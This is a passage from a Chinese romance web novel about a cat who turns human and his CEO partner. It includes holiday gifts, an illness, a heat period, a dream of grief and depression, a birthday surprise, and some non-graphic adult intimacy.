吴雪拿了两个红袜子，一个是他的，一个是顾司沉的，里面一个是圣诞节主题杯子，还有一个是红色的织线帽。 吴雪问顾司沉：“你要哪个？” 顾司沉：“你喜欢哪个？” 都很可爱，吴雪犹豫了一会儿，说：“我要帽子吧。” 帽子实用性更高，他外出时可以戴上遮耳朵，至于杯子他可以喝顾司沉的，约等于两个礼物都是他的了。 “好，”顾司沉接过杯子，说，“谢谢你把杯子留给我。” 吴雪戴着圣诞节帽子，笑得露出两颗尖牙。笨蛋顾司沉，都没有发现他的小心机。 电梯门打开，吴雪先一步走了出来，他动了动耳朵，疑惑道：“顾司沉，家里有人？” 顾司沉：“没有，怎么这么问？” “我听见了音乐声，”吴雪问，“是不是有坏人？我们先别进去。” 见吴雪一副警惕得随时战斗的表情，顾司沉不得不妥协：“没有坏人，是我放的音乐。” 吴雪仰头，表示不借：“为什么啊？” 顾司沉捏他鼻尖，学着吴雪的口吻说：“因为要过节啊。” 吴雪推开门一看，客厅里突然长出来好大一颗圣诞树，上面挂满了灯带，袜子，下面堆着数不清的礼盒。 旁边一只机器人穿着圣诞装，牵着一条机器狗朝他走来。 吴雪看过别人用机器人遛机器狗，羡慕得不行，没想到自己也有了！ 吴雪蹲下身摸了摸机器狗，眼睛亮晶晶的：“顾司沉，这是送给我的吗？” 顾司沉：“都是你的。” 好多袜子，好多礼盒，各种便宜的贵的怪东西，每一件都非常有趣。 “顾司沉，谢谢你，我很开心。”吴雪由衷地说道。 顾司沉：“你喜欢就好。” “我要和它们一起睡。”吴雪宣布完毕，然后嘭地一声变成猫，幸福地躺进了纸盒里。 还准备了烛光晚餐的顾司沉：“……” 第35章 这段时间, 吴雪突然变得格外忙碌。 一周要实习三个工作日，其余的时间则在上文化课，重点学习他最讨厌的数学知识。 除此以外, 他还开始着手筹备猫咪之家的运营。吴雪的计划太过庞大，顾司沉建议他先建几个试点，摸索一些经验再改进。 与此同时，吴雪也在积极地参加各种科技峰会、商业论坛，试图弄清楚人类社会的构成和运转。 他名义上是顾司沉的助理, 其实根本不承担助理工作, 一进会场就各个展台到处乱蹿, 根本看不见人。顾司沉基本放养，只派两个保镖跟着防止意外发生。 只是有一次他们参加了一个国际经济论坛, 吴雪刚离开不久, 突然又回来找顾司沉，眼睛红红的。 “怎么了？”顾司沉看向保镖的目光严厉，但低头和吴雪说话的语气依旧温和，“被人欺负了？” 吴雪摇头, 哭了好一会儿才说自己看到了一个摄影展, 主题是战争中的猫，许多猫咪因为战争失去家园，受伤，失去生命。照片中的小猫懵懂又无助, 它们什么都不懂, 只知道周围一直在砰砰砰。 吴雪说着又哭了起来, 顾司沉叹了口气，伸手抱紧了吴雪。 事情发生在外国，顾司沉能做的事情并不多, 只能尽可能通过各种渠道救助动物的生命。 自从看过那个摄影展后，吴雪情绪肉眼可见的低落起来，顾司沉用许多方法安慰吴雪，也陪他看了一些战争题材的电影，网络上当地人的救助，可惜都没能让吴雪重新开心。 小猫的世界只有吃喝玩乐，变成人后世界更大了，好玩的东西更多，可也要承受许多痛苦。 但出乎顾司沉意料的是，吴雪这种颓唐并没有持续很久，他很快就把这些情绪抛到脑后，或者藏在心底，以一种更饱满的状态重新出发。 吴雪在工作时更卖力了，甚至开始主动要求补自己讨厌的数学课。虽然他现在依旧一上数学课就脑子打结，可他能听完整节课了，甚至还会主动写课后作业。 作业时间从半个小时到一个小时不等，但是今天，吴雪已经在书房里呆了一个半小时了，连晚饭都没吃。 顾司沉端了盘水果进去，问：“还剩多少？要不要先休息？” 吴雪奋笔疾书，头也不抬道：“还剩下最后一道题。” 顾司沉问要不要帮忙，吴雪说不用，顾司沉便没再说话，安静地在一旁等着。 又过了十五分钟，吴雪终于推开面前的习题册，发出一声感叹：“终于做完了！” 顾司沉把果盘递过去：“吃点儿水果。” “不想动，”吴雪靠着顾司沉肩膀，撒娇，“你喂我。” 顾司沉：“想吃什么？” 吴雪：“草莓。” 顾司沉喂了一个草莓，吴雪又说：“还想吃樱桃。” 顾司沉又喂了他一个樱桃。 吴雪吃完，顾司沉问：“还要吗？” 吴雪摇头，小声说不吃了。 他把脑袋靠在顾司沉肩膀上，有些可怜地说：“顾司沉，我好累啊。” 顾司沉：“可以减一天实习和上课。” 吴雪想了想，摇头：“还是算了吧。” 本来就没有多少课程和工作，只是他不擅长这些，才会觉得格外吃力。 “别有太大压力，”顾司沉摸了摸他脑袋，缓声道，“这些都不是你的责任，明白吗？” 吴雪没吭声。 他刚接触这个世界的阴暗面，哪怕有顾司沉安慰，也很难消化这些复杂的情绪。 顾司沉放下餐盘，捧起吴雪的脸颊说：“世界很复杂，那些问题不是你导致的，也不是你我这样的个人能解决的。” 吴雪皱眉：“可是难道就没有办法了吗？” 顾司沉：“我无法给出一个完美的解决办法，但幸运的是世上已经有许多人和组织在处理问题。你看那个拍照的摄影师，还有在峰会上陈列照片的主办方，大家都在努力发声解决问题，不是吗？” 吴雪眨了眨眼睛，好像懂了什么。可他很快又沮丧起来，说：“可我觉得我做得还不够。” “你现在已经做得很好了，猫咪之家试点已经落地，开始稳定运营。”顾司沉告诉吴雪，“你有理想是好事，但事情要一点点做。这是你的事业，只有你最在乎猫咪之家的建设，如果你因此累垮了，生病了，就没有人可以做这件事了。所以首先要保证自己身体的健康，明白吗？” 吴雪这次听进去了一些，点头说：“好像明白了一些。” 顾司沉松开手，说：“那出来吃饭吧。” 吴雪却面向顾司沉仰起头，闭上了眼睛，这是一个索吻的动作。 顾司沉亲了下吴雪额头，无奈道：“这样好了吧。” “小气鬼，”吴雪皱眉，故意用不满的语气说，“怎么都不多亲一会儿。” 顾司沉不理会他的激将法，语气淡定：“先吃饭。” 吴雪只得踩着拖鞋去了餐厅，吃到美味的食物，刚才那点儿不悦终于被抛到了脑后。 经过顾司沉的建议，吴雪决定稍微减少一些工作，打持久战役，可惜因为长期疲劳和寒流影响，他当天晚上就发烧了。 吴雪半夜被顾司沉喂了退烧药，早上醒来稍微好了一些，但在临出门前又烧了起来，只得留在家里休息。今天本来有个机器人展会行程，也因为他生病耽误了。 吴雪躺在床上，有些可怜地说：“对不起……” 顾司沉：“为什么道歉？” 吴雪：“我没有听你的话，所以生病了。” “不是你的错，你只是不知道而已，”顾司沉扒开吴雪刘海儿给他贴退烧贴，又说，“你这次体验过，以后就知道保重身体了。” “嗯。”吴雪软乎乎的点头，顾司沉进衣帽间换了套家居服。 吴雪眨了眨眼睛：“你不出门吗？” 顾司沉：“让副总替我去了。” 吴雪愣了下，这才意识到顾司沉选择参加活动以及留在家里，其实都是因为他。吴雪眼睛有些热，又说了声对不起。 “说了不用道歉，”顾司沉拿出笔记本电脑，“你先睡一会儿，我在家也可以工作。” “哦。”吴雪听话地闭上了眼睛，过了一会儿又睁开眼问，“顾司沉，你可以在床上工作吗？” 顾司沉似乎笑了下，伸手捏吴雪的猫耳：“就这么离不开我啊？” “嗯，”吴雪点头，眼睛湿漉漉的，“我想挨着你睡。” 没人能拒绝这幅样子的吴雪，顾司沉把电脑搬到了床上，吴雪就一点点挪到他身边，侧身贴着他身体。 顾司沉打了两行字，低头问：“键盘声音会不会吵到你？” “不会，”吴雪摇头，满足地眯起了眼睛，“这样就很好。” 吴雪感觉自己回到了还是小猫时，也是这么贴着妈妈和顾司沉睡觉。发烧虽然很难受，可有人在身边陪着，他竟然觉得有些幸福。 吴雪昏昏沉沉地睡着了，等他再次醒来，发现顾司沉也睡着了。 时间已经来到下午，吴雪终于退了烧，还感觉有点儿饿。但是躺在被窝里的感觉太舒服，他不想起床。 吴雪把脚搭在顾司沉腰上，像是抱玩偶一样抱着。下一刻，一双大手握住了他脚踝。 吴雪：“顾司沉你醒了？” 顾司沉说是，闭着眼睛摸了下吴雪额头，低声说：“应该退烧了。” “没有，”吴雪小声说，“我感觉我还在烧，这里热热的。” 顾司沉睁开眼睛：“哪里热？” 吴雪拉着顾司沉的手往下，再往下，最后终于停下，小声开口：“这里。” 顾司沉：“……” 不等顾司沉发表意见，吴雪又说：“这里，从刚才起就一直热热的。” 顾司沉安静了几秒，只是手掌动了动，吴雪就抓着他衣服，缩在他怀里很小声地喊他名字。 吴雪浑身都烧红了，但这次不是发烧的那种病态红晕，而是一种更引人遐想的、从皮肤伸出散发出的粉。 吴雪在阳光中抬起头，眼睛水汪汪的说：“顾司沉，我感觉自己有点儿不对劲。” 顾司沉：“嗯，我看出来了。” 吴雪：“顾司沉，我该怎么办呀？” 顾司沉把吴雪往自己身上按，语气却依旧很冷静：“你想怎么办？” 结实的碰撞让吴雪身体一颤，忍不住期待又害怕起来。 但这次顾司沉没有松开，他就这样静静地抱着吴雪，问：“可以吗？” 吴雪闭了闭眼，很小声地说：“你轻一点儿，我怕疼……” 顾司沉从来都没有这么耐心过，尽管他从头到尾都非常温柔。但因为双方过分的体型差，吴雪还是不可避免地感到了疼痛。 之前还气势汹汹的吴雪，真到了那个时候却只能呜呜地哭泣。而且他完全兽化了，耳朵耷拉着，尾巴紧紧绞着顾司沉小臂，但这也没能让自己好受许多。 “别忍着，”顾司沉似乎忍得很辛苦，但还是很温柔地说，“疼了告诉我。” 吴雪立刻就说了疼，顾司沉缓了几秒，好气又好笑：“那怎么办啊宝宝？” 吴雪要从顾司沉身上起来，伸手去拿手机。 顾司沉：“你看什么？” 吴雪皱着眉，一本正经地说：“上网查经验。” “这种经验可没有。”顾司沉低低地笑着，安慰又充满诱哄地说，“别怕，交给我就好。” 吴雪又睡了过去，或者说是晕了。等他迷迷糊糊地醒来，发现自己尾巴毛全湿了，但似乎不再疼痛，反而有些舒服。 又过了一会儿，顾司沉抱他去了浴室，外面传来食物的香气，吴雪躺在顾司沉怀里，幸福地眯起了眼睛。 第36章 这天以后, 吴雪突然变得特别粘人，而且不同于以往凶巴巴的霸道，而是变得又软又甜, 像小猫一样热乎乎的贴着人。 顾司沉轻轻动了一下，吴雪就抬起头看了过来，然后很黏糊地亲他下巴，又眯着眼睛躺了回去。 顾司沉屏住呼吸，仿佛又回到了刚开始养猫时的时候。感觉太好, 仿佛连心都要化了。 手机上秘书发来工作日程, 顾司沉把上午的全部推迟, 又躺了回去。吴雪被他这番动静吵醒，嘟哝着问：“你是不是要去公司了？” “上午不用, ”顾司沉按住他肩膀, 低声说，“可以再睡会儿。” “哦。”吴雪又重新躺了回去，从侧躺改为趴在顾司沉身上。 还是小猫时吴雪最喜欢趴在顾司沉胸膛上，把自己手脚和身体拉得长长的, 感受着人的心跳和体温。 可奇怪的是今天他怎么躺都不舒服, 吴雪挪来挪去，总觉得有个东西硌着他，而且存在感越来越明显。 “顾司沉……”吴雪皱眉，有些不开心, “能不能把这个拿走。” 顾司沉喉结滚动, 声音有些哑：“可能不行。” 吴雪又伸手把那玩意儿往旁边推, 不仅没有，反而引起了更大的反弹。 吴雪睡得不舒服，想从顾司沉身上下来。后者却一把搂住他后腰, 用诱哄的语气说：“乖，再等等，一会儿就好了。” 吴雪不太情愿，但勉强同意了。他分开双腿趴着，好让自己睡得更舒服一些。只是睡着睡着，那东西就莫名其妙钻了进去。 “顾司沉……”吴雪半梦半醒，有些不悦地推了推顾司沉胸膛。 “疼吗？”顾司沉声音紧绷，但声音依旧很温柔。 吴雪感受了一下，不是很疼，就放任顾司沉继续下去。 再次醒来已是中午，吴雪闻到了外面的食物香。他身上干干爽爽，已经被清洗过了。顾司沉从衣帽间出来，换了身西装，戴着小猫领带。 吴雪眼睛亮了起来：“领带上的猫是我！！” “嗯，”顾司沉点头，“我找人定制的，你也有。” 吴雪兴奋起来，立刻掀开被子下床：“我也要去上班……啊！” 他双脚刚一沾地就跪了下去，床边铺着厚厚的地毯，不疼，就是有些伤自尊。 顾司沉忍着笑意把人扶到床上，又问：“不然今天先在家休息？” 吴雪摇头：“我和你一起去公司。” 顾司沉凝眉看他：“身体可以吗？” 吴雪点头，顾司沉就去衣帽间帮他拿衣服，出来后又半跪在床边帮吴雪穿袜子。 顾司沉拇指拂过吴雪脚踝上的牙印，低声道：“疼不疼？” 吴雪后知后觉地红了脸，又小声道：“有点儿。” 顾司沉握着吴雪膝盖，在他青紫的地方落下一个吻，诚恳道歉，说下次一定轻一些。吴雪才不信他说的这些，因为昨天晚上顾司沉也是这番口吻，结果还不是把他弄得站都站不稳。 除了信口开河，顾司沉也不是一个合格的管家，帮吴雪穿衣服时会事无巨细地提及他身上的痕迹，偶尔吴雪假装忘记，顾司沉还会情景重现，帮吴雪巩固记忆。直到被尾巴扇了5次脸又被咬了两口，才终于作罢。 吃完午饭，又是一阵腻歪，磨蹭到了2点才出门。 顾司沉一到公司就进了会议室，吴雪抱着笔记本电脑也混了进去。他没挨着顾司沉，而是很有自觉地坐在了最下方，不干活儿但也不耽误人。 年底总结大会，气氛比一般会议都要严肃，顾司沉身边一个位置留给了副总，另一边是特助孟知，向顾司沉汇报过去一年各部门的表现和业绩。 有几个部门表现不佳，顾司沉好几次想要发怒，看见吴雪亮晶晶的眼神又没了脾气。 两个小时后，顾司沉说了声散会，起身离开了会议室。一场本该是赏罚分明的会议，最后竟然和和气气地散会了。 顾司沉让孟知通知部门领导私下谈话，又伸手一把拉过吴雪，捏他软软的脸颊：“今天开会怎么一直看着我？我总裁的威严都没了。” “怎么会没有？”吴雪睁大眼睛，“我觉得你特别厉害，威严极了。” “是吗？”顾司沉被哄舒服了，又说，“今天嘴怎么这么甜？” 吴雪就凑上去亲了顾司沉一下，红着脸问：“甜吗？” 顾司沉把人拉在自己大腿上，舌头挑开吴雪口腔，直到把人里里外外都欺负了一遍，终于满意地说了声甜。 这一整天吴雪都特别粘人，顾司沉还暗自窃喜。直到这样的状态持续了两天，吴雪不仅连上班要一起，连他洗澡上厕所都要守着，粘人程度远超常态。 顾司沉渐渐意识到了不对劲，语气担忧起来：“吴雪，你最近怎么了？” 吴雪挤到他怀里，黏糊糊地问：“什么怎么了？” 顾司沉：“你有没有觉得，你最近变得特别粘人？” “没有吧，”吴雪伸手解他衬衫纽扣，“我一直都这样啊。” 顾司沉仰头，喉结重重滚动：“你先停下，说完话再……唔……” 吴雪坐了下来，谈话彻底不了了之。 第三天早上起床，顾司沉发现吴雪耳朵、尖牙、尾巴都冒了出来，行为举止隐约带上了几分兽性。但吴雪本人似乎毫无察觉，依旧穿上西装，要和他一起出门去公司。 顾司沉看着吴雪头顶的猫耳，身后摇晃的大尾巴，缓缓叹了口气。 他亲了亲吴雪额头，低声道：“今天在家好吗？” 吴雪没吭声，但亮晶晶的眼神一下就黯淡了下来。 顾司沉又解释：“你这幅样子，出门被人看见就不好了。” 吴雪委屈巴巴：“你不要我了？” 顾司沉说：“我只是出门工作，晚上就回来。” 吴雪没再说话，一个人蹲在角落自闭。 顾司沉叹了口气，给他裹上羽绒服：“算了，你今天就待在我办公室吧。” 吴雪这才开心地跑了过来。 顾司沉有些头疼，倒不是因为吴雪太粘人，他其实非常享受这种被依赖的感觉，恨不得天天把人系在身边，揣在口袋里。 但吴雪的粘人程度已经远超正常状态，顾司沉担心吴雪有一定程度的焦虑。 他试过让吴雪去看心理医生，但吴雪一听这话，就泪眼汪汪地看着他：“你是不是觉得我烦了？你要是不喜欢我这样，那我不粘你就好了。” 顾司沉只得放弃，又把人抱在怀里哄了好久，才让吴雪相信自己没有嫌他烦，反而很喜欢这种感觉。 顾司沉确实很喜欢，只是偶尔也确实不方便。他周五有一个政府活动，要和许多官员媒体见面，吴雪兽化特征未消，性格也不可控，实在不方便带他一起。 顾司沉好声好气地哄人，又允诺回来后明后天都陪着他，吴雪才终于不情愿地放他出了门。 一上午吴雪都没有回他消息，但管家发来吴雪吃饭的视频，说他状态还行。直到顾司沉下午结束工作回来，吴雪突然说他不舒服，问顾司沉还有多久才到。 顾司沉正在等电梯，打电话过去吴雪却没有接。电梯门打开，费均给顾亭安检查完身体，正好从里面出来，好奇道：“怎么这么着急？” 顾司沉看了他一眼，一把将人抓进了电梯。 费均：“干什么？” 顾司沉：“家里有人不舒服，你帮我看看。” “你家里有人？”费均说完突然想起来了，暧昧地笑了，“你对象是吧，我早就想见一见了。” “费均，”顾司沉看着他眼睛，突然严肃起来，“你还记得你12岁那年在我家泳池拉肚子把泳池都染成黄色……” “卧槽！”费均一把捂住顾司沉嘴巴，“都说了不许再提！你快给我闭嘴！” 顾司沉深吸一口气，说：“我接下来要说的事情，和你的秘密一样重要。” 费均面色一沉：“你把人玩儿坏了？” 顾司沉：“……” 费均：“我可是遵纪守法的外科医生，不是小说里那种看见玩出人命了都视若无睹的私人医生。顾司沉，我是不会给你兜底的！” 顾司沉无语，沉默了好几秒才说：“你知道我有只猫吧……” “当然知道，”电梯门打开，费均跟着顾司沉进屋，又说，“你之前晒得那么勤，最近又突然不晒了，怎么，你那只小猫不养了？不如给我……” “你做梦。”一道清脆声音落下，沙发上蹿出一个猫耳少年，神情暴躁，尾巴把地板拍得啪啪响。 “顾司沉，你怎么才回家？”少年漂亮至极，但脾气也极差，“从你早上8点出门上班算起，我们已经有8个小时39分钟40秒没有见面了！” 费均愣在原地，睁大了眼睛。 他又转头去看顾司沉，后者却一脸淡定地走到男生旁边，拥抱，亲吻，揉了揉头发，很有耐心地解释：“抱歉，今天工作很多，回来迟了。” 顾司沉用费均这辈子都没有见过的温柔态度检查吴雪身体，又说：“你说身体不舒服？哪儿疼？” 吴雪却不回答，他走到费均面前，隔着大约一米的距离盯着他：“他是谁？” 费均身体紧绷，有一种自己被野兽盯着的错觉。 “不认识了？”顾司沉走来，很自然地回答道，“这是费均，亭安的主治医生，上次给亭安做手术的就是他，你们在医院见过的。” “啊！！”吴雪终于反应过来，一瞬间他身上的戒备全没了，还很有礼貌地过说，“费医生好，我叫吴雪，是顾司沉的男朋友。” 费均震惊自己竟然能奇迹般地保持镇定，点头道：“你好，我叫费均，是顾司沉发小。” 吴雪突然变得忙碌起来，又是拿拖鞋又是端水果招待，还很亲切地问：“费医生你怎么过来啦？” 费均：“……” 所以他为什么过来了？ 顾司沉替他回答：“费均在楼下给顾亭安检查身体，听说你在家身体不好，就上来看看你。” 吴雪原本和善的目光突然变得警惕，摇头说：“我没有身体不好。” 顾司沉摇了摇手机：“刚才谁发消息跟我说不舒服的？” “我骗你的，”吴雪理直气壮地说，“因为你一直不回来。” 顾司沉叹了口气，露出无奈的表情。可他没有生气，只是揉了揉吴雪脑袋，说：“下次不许骗我，我会担心你的。” “哦。”吴雪低头玩自己尾巴，一副心虚的模样，也不知道听进去了没有。 费均：？ 他用目光示意顾司沉：那我走？ 顾司沉摇头。 费均：你们小情侣你侬我侬的，我留在这里做什么？ 顾司沉用手机打字：吴雪太粘人了，而且今天还不惜装病骗我回来，我担心他有焦虑症。我记得你是临床心理学硕士，你帮我看看。 费均皱眉：你没干什么违法乱纪的事情吧？ 顾司沉正要打字，吴雪从他们中间冒出脑袋：“你们在说什么？” 顾司沉收起手机，面不改色道：“在做一个心理测试。” 费均：？ 他们什么时候在做心理测试了？ 一听心理测试，吴雪就自动联想起之前顾司沉让他去看心理医生，瞬间没了兴致。 顾司沉又说：“这个测试可以测出自己的性格类型，然后匹配适合恋爱的类型。” 适合恋爱的类型？ 吴雪头顶的耳朵立刻竖了起来。 顾司沉：“你也要做吗？” 吴雪露出一副不太情愿的样子，勉为其难道：“那我试试吧。” 半个小时后，费均拿到分析结果，非常意外。 顾司沉：“怎么样？” 费均：“吴雪很健康，倒是你有点儿问题。” 顾司沉：“那就好。” 费均：？ “怎么样？”吴雪眼睛睁得大大的，“我和顾司沉是最匹配的吗？” “当然了，”费均摸了摸吴雪毛茸茸的耳朵，眯着眼睛说，“你们简直就是天生一对。” 然后他被顾司沉打了手背。 小气鬼。 费均收回右手，笑眯眯地和吴雪说下次再来看他，又在离开前瞪了顾司沉一眼。 吴雪依旧粘人，顾司沉想不通为什么会这样。但既然不影响健康，也就逐渐习惯了这样的日子。 又过了好几天，当顾司沉又搂着吴雪哄着他叫老公时，后者突然不耐烦地推开他，还给了他一尾巴。 顾司沉：？ 突然间，吴雪又变得不粘人了，反而化身工作狂，拒绝了顾司沉的数次亲热。 顾司沉屡次遭受冷落，开始提起吴雪之前有多粘人，现在突然冷落，是不是烦他了。 “哦，可能当时是发情期吧，”吴雪并没有理解他这番话的暗示，只是很正常地解释说，“我们发情期就会变得很粘人，生理限制，辛苦你了。” 顾司沉：“…………” 顾司沉开始怀念吴雪的发情期，并且期待下一次的来临。 【正文完】 第37章 元旦一过, 天气越来越冷了，气温降至零度，隐隐有了下雪的趋势。 雪迟迟未落, 倒是吴雪又变得粘人起来。比起维持人形，他现在更喜欢变成小猫缩成一团贴着顾司沉。 深冬午后，天气昏沉，卧室没有开灯，一人一猫睡在温暖的被窝, 这时候, 连一向工作狂的顾司沉也变得懈怠了, 他沉溺在这平淡的幸福中，缓缓合上了眼睛。 很长一段时间里, 他对家的感觉都很淡薄, 甚至宁愿在公司加班都不想回家，家对他的概念来说只是一套房子，一个可以睡觉的地方。他从未想象过，自己有一天竟会和心爱的人睡在一个被窝里, 什么都不做, 什么都不想，光是在一起就感到心满意足。 “顾司沉，别睡了。”不知过了多久，遥远的地方传来一道声音。 顾司沉不想搭理, 把脑袋埋进了被窝里。 下一刻, 卧室门被人打开, 那道声音直接在他头顶响起：“我给你带了饭，你稍微起来吃点儿东西吧。” 顾司沉没有回应，那人又说：“我知道这件事对你打击很大, 可你也总不能这样下去，你都睡了三天，大家都很担心你……” 说到最后，口气带上了几分唏嘘。 顾司沉只觉得莫名其妙，费均没事儿跑来在他床头念什么经？他掀开被子，发现费钧一脸焦急，和上次分别相比，看起来似乎憔悴了许多。 四目相对，费钧终于松了口气：“谢天谢地，你终于醒了。” 顾司沉一脸莫名：“你来我家干什么？” “我这不是怕你一时想不开……”说到这里费均又没了声音，顿了几秒才又说，“你没事就好，起来吃点儿东西吧，公司里还有一堆事等你处理。” 他不过睡个午觉，怎么可能一堆事情？还要费均来提醒？ 顾司沉感觉有些不对劲，但身体已经走进了浴室，刷牙时，他看见自己脸上长出了胡子。 他有这么多胡子吗？ 顾司沉非常困惑，但又一时想不出哪里有问题。洗漱完毕，他去外面吃了费均带来的东西。 非常难吃，难以下咽，顾司沉放下了筷子。 可奇怪的是他明明不是对食物高要求的人。 费均并不意外，只是叹了口气说：“你这样也不是办法，我陪你去看心理医生吧。” 顾司沉皱眉：“我为什么要看心理医生？” 费均没再说话，他脸上露出复杂的内疚神情，让那张本就憔悴的脸变得更难看了。 “是我对不起你们，”漫长的沉默后，费均再次开口，“我知道你现在很难过，亭安的离开我也有责任，你生气打骂我都行，有事不要一个人憋在心里。” 顾司沉更疑惑了，正想让费均别发疯，却突然想起来一切，顾亭安没能等到人工心脏，在两周前过世了。 顾司沉亲自替顾亭安办了葬礼，葬礼上有人小声讨论，说他全程表情冷漠，想必对过世的弟弟并没有什么感情。 葬礼之后，顾司沉正常工作了一周，然后突然失踪。三天后，费均在卧室里找到了顾司沉，要把人摇起来去看心理医生。 经过一系列检查和问卷，顾司沉看着自己重度抑郁的表格面无表情。医生给他开了许多药物，甚至提议他住院，被顾司沉拒绝了。 他要回家，他要回到家里。 顾司沉也说不清自己为什么对家有执念，他拎着一袋药回家，看着空荡荡的客厅，突然觉得应该有什么出来迎接他才对。有人躲着他吃零食，坐在沙发上玩游戏，笑眯眯地拥抱他，喊他顾司沉。 顾司沉觉得自己遗忘了什么，却无论如何也想不起来。期间家人来看过他，顾光耀想要进入董事会秘书处，被顾司沉拒绝。 顾司沉开始服药，和往常一样工作，偶尔运动，生活又恢复到了往日的平静。只是当他偶尔回家、打开衣柜、躺进被窝，会下意识觉得少了什么东西。 少了什么呢？顾司沉想不起来，他似乎一直在失去。 时间就这样继续下去，他继续工作，然后停了药，也不再复诊。除了工作，他已经不再去想别的事情，连生日那天依旧工作到晚上。 天黑后顾司沉离开了公司，在花店关门前买了束花，他突发奇想地，想去墓园和顾亭安一起过生日。 然而就在他走出花店时，一辆车歪歪斜斜撞上人行道，撞向了顾司沉。 顾司沉其实没想过自杀，只是当车撞来的那一刹那，他没有立刻躲避而已，他在分秒必争的危急关头，开始想他为什么要活着。顾司沉没能得出答案，仅仅2秒的恍惚，车撞了上来。 “砰——” 身体传来剧烈的失重感，顾司沉猛地从床上坐起来，发现自己身处卧室大床上。房间静悄悄的，他四肢完好，似乎只是刚做了一场梦。 可是吴雪呢？ “吴雪！”顾司沉大声地喊着吴雪名字，从卧室找到衣帽间和浴室，都无人回应。 天已经黑了，灯却不知为何没有自动亮起，顾司沉无暇顾及，他大步奔走在宽敞的卧室中，然后走入客厅。 “吴雪——！” “嘭——嘭——” 黑暗中爆发出两声巨响，仿佛失控的车辆再次来袭。顾司沉定在原地，被彩色纸屑淹没了身体。 “生日快乐！” 然而下一刻，温暖的烛光亮起，吴雪捧着蛋糕从黑暗里走了出来。顾亭安、费均、肖冕站在一旁，手里都捏了个放过的生日礼花。 顾司沉愣在原地，他盯着吴雪的脸看了足足十几秒，直到生日快乐歌唱完，吴雪走到他面前，喊他：“顾司沉，快吹蜡烛。” 顾司沉方才如梦初醒，低头吹蜡烛。他太笨拙了，连蜡烛都吹不好，还要吴雪帮他一起吹熄。 然后灯光亮起，照亮了大家给他布置的生日惊喜。 吴雪把蛋糕放在桌上，正要给顾司沉戴上生日帽，顾司沉却突然往前两步，用力地抱紧了他。 顾司沉力气太大了，吴雪被他顶得后退两步，直到撞到桌子才终于停下。 “吴雪，”顾司沉闭上眼睛，感受着吴雪的体温和气息，终于长长吐出一口气，“谢谢你。” 吴雪笑了起来，拍了拍顾司沉后背说：“你喜欢就好，以后还会有无数个生日。” 顾司沉又去拥抱顾亭安，他们兄弟不太这么直白地表达爱意，顾亭安身体有片刻僵硬，但在吴雪鼓励的眼神下，回抱了顾司沉。 顾司沉松开手，又问：“身体怎么样？” “挺好的，”顾亭安说，“费均哥说我壮得像头牛。” “我那是鼓励你，可不是让你胡作非为，”费均说，“不过只要你好好恢复，和正常人不会有太大差别。” 顾司沉看着费均，又上前给了他一个拥抱，说了声谢谢。 费均直呼太阳从西边出来了，又说自己被肉麻得掉了一身鸡皮疙瘩。人们开始毫无意义地斗嘴，晚餐开始了。 顾司沉其实已经记不清晚餐吃了什么，但是那种爱人、亲人、朋友齐聚的热闹场面，深深地烙进了他心底。 温暖的房间，热腾腾的食物，人们的欢声笑语……他这才知道，原来过生日也可以这么令人开心。 吃饱喝足，送走所有人后已经是晚上10点。吴雪还想收拾餐具，顾司沉从却身后搂住了他，低声道：“别弄了，明天阿姨来收。” “怎么这么热？”吴雪感觉一块儿炭贴了上来，他伸手去摸顾司沉脸颊，“你喝醉了？” “没有，”顾司沉身体压着他，用比以往都要低沉性感的声音说，“让我抱会儿。” 吴雪回头，顾司沉就眯着眼睛过来亲他。体温发烫，动作黏糊，气息比以往都要重。 顾司沉没有亲很久，松开吴雪让人去洗漱。 洗完澡，吴雪眯着眼睛陷入被窝，不多时，顾司沉也躺下，亲了亲他额角。 “累吗？” “有点儿，”吴雪转过身把脸贴着顾司沉胸膛，“让我靠一会儿。” 顾司沉说好，又用很轻的声音喊他名字，吴雪嗯了一声，顾司沉又问：“你为什么会来我身边？” 然而还不等吴雪回答，顾司沉又说：“算了，你还是别说了。” 吴雪被他逗笑，仰头道：“所以你究竟要不要我说？” 顾司沉想了想，说：“答案不好，就别告诉我。” 吴雪安静了一会儿，说：“我也不知道好不好，这一切都是猫猫神的旨意。” 顾司沉没有说话，等他继续。 吴雪又说：“上辈子和人有缘分的猫，这辈子就会被猫猫神送来找人报恩。” “哦，”顾司沉想了想，又说，“你们报恩也包括和人在一起吗？” “做什么梦？”吴雪笑着摇头，“我们猫都是卖艺不卖身。” 顾司沉这才笑了起来，又明知故问：“那你怎么卖身给我了？” 吴雪不想回答，顾司沉又自顾自地说：“原来是因为你喜欢我。” “幼稚鬼。”吴雪笑着去抓他头发，顾司沉却顺势搂着他的腰，很温柔地接吻。 卧室只留了一圈氛围灯，营造出舒适昏暗的放松感觉。顾司沉垂眸和吴雪接吻，眼睫在脸上投下一片阴影。 一吻结束，吴雪伸手掀开顾司沉眼皮，看着他眼睛问：“感觉你今天有点儿不对劲，发生了什么吗？” 顾司沉说没有。 吴雪没再追问，又扬起下巴吻他眼睫。柔软的嘴唇和气息像花瓣一样落下，美好得几乎不真实。 顾司沉闭上眼睛，又想起自己醒来时找不到吴雪的心情。那时候，他有一瞬以为自己还活在梦里，他开始觉得，如果他没能遇到吴雪，说不定真的会像梦中那样死去。 “好了好了，没事啦。”虽然顾司沉没有说，但吴雪还是察觉到了他的情绪，做出大人哄小孩儿的样子，轻轻摸他头发。 顾司沉突然笑了下，突然说：“猫猫神。” “嗯？”吴雪疑惑地抬起头。 顾司沉说：“你就是我的猫猫神。” 吴雪一愣，开心得耳朵尾巴都嘭出来了，可他偏要装出一副淡定的样子问：“我没听清楚，你刚刚说什么？” 顾司沉很配合地说：“我说你是我的猫猫神。” 吴雪再也忍不住笑意，兴奋地催促顾司沉：“你再说一遍！” 顾司沉：“我上辈子一定是做了很好的事情，这辈子才会遇见你。” 吴雪听不下去了，他脸皮再厚也顶不住顾司沉这样毫无原则地吹捧，终于后知后觉地害羞起来，红着脸去捂顾司沉嘴巴：“好啦好啦，我都知道了。” 顾司沉趁机抓住他的手，在掌心落下吻。 吴雪脸更红了，他发现自己完全无法招架这样温柔的顾司沉。他把脸转向窗外想转换注意力，惊讶地发现下雪了。 吴雪睁大眼睛，很兴奋地说：“顾司沉，下雪了！” “嗯，”顾司沉却在看着吴雪，“今年的第一场雪。” 雪花从天上坠落，洒满漆黑的夜空。 他们在房间里做.爱，顾司沉缓缓进入吴雪，又不知疲倦的、一遍遍地说着我爱你。 番外一 第38章 番外一 每年大学开学, 